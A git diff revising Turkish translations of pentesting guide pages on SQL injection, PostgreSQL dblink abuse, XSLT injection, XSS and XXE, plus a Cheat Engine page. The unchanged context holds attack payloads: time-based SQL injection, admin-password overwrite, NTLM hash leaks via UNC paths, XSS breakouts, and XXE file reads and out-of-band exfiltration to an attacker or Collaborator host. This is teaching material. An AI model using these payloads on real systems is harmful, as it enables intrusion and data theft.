kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez). Daha fazla bilgi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) @@ -330,7 +330,7 @@ _Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi ### MySQL Ekleme zaman tabanlı kontrol -VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Gecikme gerçekleşirse, bir SQLInjection vardır. +VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Eğer gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz. ```sql name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` @@ -348,7 +348,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_ - Sorgu, `generic_user@example.com` için bir ve `admin_generic@example.com` için başka bir satır eklemeye çalışır. - Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir. -- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword" yeni şifrenin bcrypt hash'ini temsil eder, bu da istenen şifrenin gerçek hash'i ile değiştirilmelidir). +- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword" yeni şifrenin bcrypt hash'ini temsil eder ve bu, istenen şifrenin gerçek hash'i ile değiştirilmelidir). ### Bilgi çıkarma @@ -424,7 +424,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE ``` ### Genel Bypass'ler -Anahtar kelimeleri kullanarak kara liste - büyük/küçük harf kullanarak bypass yapma +Anahtar kelimeleri kullanarak kara liste - büyük/küçük harf kullanarak bypass etme ```sql ?id=1 AND 1=1# ?id=1 AnD 1=1# diff --git a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md index 6cea0cf66..a13809ac0 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md @@ -1,14 +1,14 @@ -# Ağ - Privesc, Port Tarayıcı ve NTLM yanıtı ifşası +# Network - Privesc, Port Scanner ve NTLM yanıt ifşası {{#include ../../../banners/hacktricks-training.md}} -**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal belgede**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) bulun. +**Daha fazla bilgi için** [**bu saldırılar hakkında orijinal makaleye göz atın**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt). **PostgreSQL 9.1**'den itibaren, ek modüllerin kurulumu basittir. [`dblink` gibi kayıtlı uzantılar](https://www.postgresql.org/docs/current/contrib.html) [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) ile kurulabilir: ```sql CREATE EXTENSION dblink; ``` -Bir kez dblink yüklendiğinde bazı ilginç numaralar yapabilirsiniz: +Bir kez dblink yüklendiğinde, bazı ilginç numaralar yapabilirsiniz: ### Yetki Yükseltme @@ -17,16 +17,16 @@ Bir kez dblink yüklendiğinde bazı ilginç numaralar yapabilirsiniz: local all all trust ``` _Not edin ki bu yapılandırma, admin şifreyi unuttuğunda bir db kullanıcısının şifresini değiştirmek için yaygın olarak kullanılır, bu yüzden bazen bunu bulabilirsiniz._\ -&#xNAN;_N Ayrıca, pg_hba.conf dosyasının yalnızca postgres kullanıcısı ve grubu tarafından okunabilir ve yalnızca postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın._ +_Note ayrıca pg_hba.conf dosyasının yalnızca postgres kullanıcısı ve grubu tarafından okunabilir ve yalnızca postgres kullanıcısı tarafından yazılabilir olduğunu unutmayın._ -Bu durum, **zaten** kurbanın içinde bir **shell**'e sahipseniz **yararlıdır** çünkü size postgresql veritabanına bağlanma imkanı tanır. +Bu durum, **zaten** kurbanın içinde bir **shell**'e sahipseniz **yararlıdır** çünkü size postgresql veritabanına bağlanma imkanı verecektir. -Başka bir olası yanlış yapılandırma, bunun gibi bir şeydir: +Başka bir olası yanlış yapılandırma, şöyle bir şeydir: ``` host all all 127.0.0.1/32 trust ``` -Bu, localhost'tan herkesin herhangi bir kullanıcı olarak veritabanına bağlanmasına izin verecektir.\ -Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetki yükseltme** yapabilir ve erişim izni olmayan verilere erişebilirsiniz: +Herkesin localhost'tan veritabanına herhangi bir kullanıcı olarak bağlanmasına izin verecektir.\ +Bu durumda ve eğer **`dblink`** fonksiyonu **çalışıyorsa**, zaten kurulmuş bir bağlantı üzerinden veritabanına bağlanarak **yetkileri artırabilir** ve erişim izni olmayan verilere erişebilirsiniz: ```sql SELECT * FROM dblink('host=127.0.0.1 user=postgres @@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT); ``` ### Port Scanning -`dblink_connect`'i kötüye kullanarak **açık portları arayabilirsiniz**. Eğer bu \*\*fonksiyon çalışmıyorsa, belgelerde `dblink_connect_u()`'nun `dblink_connect()` ile aynı olduğu, ancak süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vereceği belirtiliyor, denemelisiniz\_. +`dblink_connect`'i kötüye kullanarak **açık portları** da **arama** yapabilirsiniz. Eğer bu \*\*fonksiyon çalışmazsa, belgelerin belirttiğine göre `dblink_connect_u()` kullanmayı denemelisiniz; çünkü `dblink_connect_u()` `dblink_connect()` ile aynıdır, tek farkı süper kullanıcı olmayanların herhangi bir kimlik doğrulama yöntemi kullanarak bağlanmasına izin vermesidir. ```sql SELECT * FROM dblink_connect('host=216.58.212.238 port=443 @@ -69,11 +69,11 @@ DETAIL: timeout expired ERROR: could not establish connection DETAIL: received invalid response to SSL negotiation: ``` -Not edin ki `dblink_connect` veya `dblink_connect_u` kullanmadan **önce** şunu çalıştırmanız gerekebilir: +Not edin ki **kullanabilmek için** `dblink_connect` veya `dblink_connect_u` önce şunu çalıştırmanız gerekebilir: ``` CREATE extension dblink; ``` -### UNC yolu - NTLM hash sızıntısı +### UNC yolu - NTLM hash ifşası ```sql -- can be used to leak hashes to Responder/equivalent CREATE TABLE test(); diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index 97310c0ff..2ffd9159f 100644 --- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -12,7 +12,7 @@ En sık kullanılan çerçeveler şunlardır: - **Xalan** Apache'den, - **Saxon** Saxonica'dan. -XSLT ile ilişkili güvenlik açıklarının istismar edilmesi için xsl etiketlerinin sunucu tarafında saklanması ve ardından bu içeriğe erişilmesi gerekmektedir. Böyle bir güvenlik açığının bir örneği aşağıdaki kaynakta belgelenmiştir: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). +XSLT ile ilişkili güvenlik açıklarının istismar edilmesi için xsl etiketlerinin sunucu tarafında depolanması ve ardından bu içeriğe erişilmesi gerekmektedir. Böyle bir güvenlik açığının bir örneği aşağıdaki kaynakta belgelenmiştir: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). ## Örnek - Eğitim ```bash @@ -226,7 +226,7 @@ Supports Backwards Compatibility: @@ -261,7 +261,7 @@ Supports Backwards Compatibility: @@ -367,10 +367,12 @@ version="1.0"> ``` +(Örnek [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)) + ## Daha Fazla Payload -- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) -- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) kontrol edin +- [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) kontrol edin ## **Brute-Force Tespit Listesi** @@ -380,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt ## **Referanslar** -- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\ -- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\ +- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf) +- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf) - [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index fe932a29e..464bcb7a0 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -8,9 +8,9 @@ 1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın: 1. **Ham HTML'de**: 1. Yeni HTML etiketleri oluşturabilir misiniz? -2. `javascript:` protokolünü destekleyen olayları veya öznitelikleri kullanabilir misiniz? +2. `javascript:` protokolünü destekleyen olaylar veya öznitelikler kullanabilir misiniz? 3. Koruma mekanizmalarını aşabilir misiniz? -4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz. +4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz. 5. JS kodu yürüten HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz? 2. **HTML etiketinin içinde**: 1. Ham HTML bağlamına çıkabilir misiniz? @@ -25,7 +25,7 @@ 4. Javascript **fonksiyonu** **çalıştırılıyor**: 1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)` 4. Eğer **kullanılıyorsa**: -1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin. +1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin. Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir: @@ -37,9 +37,9 @@ debugging-client-side-js.md Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**. -- **Ara yansıtma**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz. -- **Saklanan ve yansıtılan**: Kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz. -- **JS ile erişilen**: Kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz. +- **Ara yansıtılmış**: Bir parametrenin veya hatta yolun değerinin web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz. +- **Saklanan ve yansıtılan**: Kontrolünüzdeki bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz. +- **JS ile erişilen**: Kontrolünüzdeki bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz. ## Bağlamlar @@ -54,7 +54,7 @@ Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injectio Eğer girdiniz bir etiketin özniteliğinin değerinin içinde yansıtılıyorsa, şunları deneyebilirsiniz: -1. **Öznitelikten ve etiketten kaçmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `">` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay oluşturabilirsiniz**: `" autofocus onfocus=alert(1) x="` 3. Eğer **öznitelikten kaçamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi öznitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında keyfi kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` özniteliğidir; burada keyfi kod çalıştırmak için `javascript:` protokolünü kullanabilirsiniz: **`href="javascript:alert(1)"`** 4. Eğer girdiniz "**istismar edilemez etiketlerin**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="** @@ -69,7 +69,7 @@ Kontrol ettiğiniz bir sınıf adı varsa Angular'ın XSS'i çalıştırdığı Bu durumda, girdiniz bir HTML sayfasının **``** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır: -- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. +- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırması ve ardından içeriği işlemesi nedeniyle çalışır, bu nedenle enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir. - Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır): - `'-alert(1)-'` - `';-alert(1)//` @@ -83,7 +83,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımsız değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ +Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\ **Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:** {{#ref}} @@ -98,7 +98,7 @@ Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalı ![](<../../images/image (711).png>) -Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır. +Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) kullanmasına izin vermesi oldukça yaygındır. Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**: @@ -124,7 +124,7 @@ some-same-origin-method-execution.md ### DOM -**JS kodu** bazı **saldırgan tarafından kontrol edilen** verileri **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir. +**JS kodu**, **bir saldırgan tarafından kontrol edilen** bazı **verileri** **güvensiz bir şekilde** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir. {{#ref}} dom-xss.md @@ -132,7 +132,7 @@ dom-xss.md ### **Evrensel XSS** -Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütme** bile **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\ +Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütmesi**, **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\ Bazı **örnekler**: {{#ref}} @@ -143,17 +143,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF atlatma kodlaması resmi +## WAF atlatma kodlama resmi ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Ham HTML içinde enjekte etme Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebilirsiniz**.\ -Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\ -&#xNAN;_**Not: Bir HTML yorumu, \*\*\*\*\*\*** \***\*`-->`\*\*** \***\*veya \*\*\*\*\*\***`--!>`\*\** ile kapatılabilir._ +Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\ +_**Not: Bir HTML yorumu,**`-->`** veya**`--!>`** kullanılarak kapatılabilir.**_ -Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz: +Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür payload'ları kullanabilirsiniz: ```html ` içinde yer alıyorsa, `` içinde yer alıyorsa, **` ``` @@ -480,7 +480,7 @@ Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ### JS kodu içinde -Eğer `<>` temizleniyorsa, hala **diziyi kaçırabilir** ve **arbitrary JS** **yürütme** işlemini gerçekleştirebilirsiniz. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: +Eğer `<>` temizleniyorsa, **girdiğiniz yerin** **string'ini kaçırabilir** ve **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -510,7 +510,7 @@ loop`````````````` +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -429,7 +429,7 @@ Eğer web Java kullanıyorsa [**jar: protokolünü**](xxe-xee-xml-external-entit ### HTML Varlıkları [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) adresinden bir hile\ -Bir **varlık içinde bir varlık** oluşturabilir, bunu **html varlıkları** ile kodlayabilir ve ardından **dtd yüklemek** için çağırabilirsiniz.\ +**html varlıkları** ile kodlayarak bir **varlık içinde varlık** oluşturabilir ve ardından **dtd yüklemek** için çağırabilirsiniz.\ Kullanılan **HTML Varlıkları**'nın **sayısal** olması gerektiğini unutmayın (örneğin \[bu örnekte]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\]()). ```xml %a;%dtd;]> @@ -476,7 +476,7 @@ DTD örneği: Bu örnek, [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) adresinden esinlenmiştir. -XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak kullanılan XML tabanlı bir formattır. +XLIFF (XML Yerelleştirme Değişim Dosya Formatı), yerelleştirme süreçlerinde veri değişimini standart hale getirmek için kullanılır. Yerelleştirme sırasında araçlar arasında yerelleştirilebilir verilerin aktarımı için kullanılan, XML tabanlı bir formattır ve CAT (Bilgisayar Destekli Çeviri) araçları için ortak bir değişim formatı olarak işlev görür. ### Blind Request Analizi @@ -500,7 +500,7 @@ Ancak, bu istek bir iç sunucu hatasını tetikler ve özellikle işaretleme bil "message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed." } ``` -Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren Burp Collaborator'da bir kayıt alınır. +Hata olmasına rağmen, dış varlıkla bir etkileşim seviyesini gösteren bir kayıt Burp Collaborator'da kaydedilir. Out of Band Data Exfiltration Verileri dışarı aktarmak için, değiştirilmiş bir istek gönderilir: ``` @@ -534,7 +534,7 @@ Hata mesajında dosya içeriğini dahil etmek için, DTD dosyası ayarlanır: %foo; %xxe; ``` -Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Error-Based tekniklerini kullanan başarılı bir XXE (XML External Entity) saldırısını gösterir. +Bu değişiklik, HTTP üzerinden gönderilen hata çıktısında yansıtıldığı gibi, dosyanın içeriğinin başarılı bir şekilde dışa aktarılmasına yol açar. Bu, hassas bilgileri çıkarmak için hem Out of Band hem de Hata Tabanlı teknikleri kullanarak başarılı bir XXE (XML Dış Varlık) saldırısını gösterir. ## RSS - XEE @@ -563,7 +563,7 @@ Saldırganın sunucusuna basit HTTP isteği ``` -### Dosyayı oku +### Dosya oku ```xml @@ -679,13 +679,13 @@ https://github.com/luisfontes19/xxexploiter ## Referanslar -- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\ -- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\ -- Kendi harici DTD'nizi kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\ -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\ -- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\ -- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\ -- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\ +- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) +- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) +- Kendi dış DTD'nizi kullanarak HTTP üzerinden bilgi çıkarma: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/) +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection) +- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4) +- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9) +- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) {{#include ../banners/hacktricks-training.md}} diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 0d7eaf963..b58049ca2 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -9,8 +9,8 @@ ![](<../../images/image (762).png>) -Bu araç, bir programın belleğinde **bir değerin** (genellikle bir sayı) **nerede saklandığını bulmak için çok yararlıdır**.\ -**Genellikle sayılar** **4bayt** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı bir şey** aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız: +Bu araç, bir programın belleğinde **bir değerin** (genellikle bir sayı) **nerede saklandığını** bulmak için çok yararlıdır.\ +**Genellikle sayılar** **4byte** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı bir şey** aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız: ![](<../../images/image (324).png>) @@ -24,27 +24,27 @@ Belleği tararken **oyunu durdurmak için** kutucuğu işaretleyebilirsiniz: ### Kısayollar -_**Düzenle --> Ayarlar --> Kısayollar**_ bölümünde, **oyunu durdurmak** gibi farklı amaçlar için farklı **kısayollar** ayarlayabilirsiniz (bu, belleği taramak istediğinizde oldukça yararlıdır). Diğer seçenekler de mevcuttur: +_**Düzenle --> Ayarlar --> Kısayollar**_ bölümünde, **oyunu durdurma** gibi farklı amaçlar için farklı **kısayollar** ayarlayabilirsiniz (bu, belleği taramak istediğinizde oldukça kullanışlıdır). Diğer seçenekler de 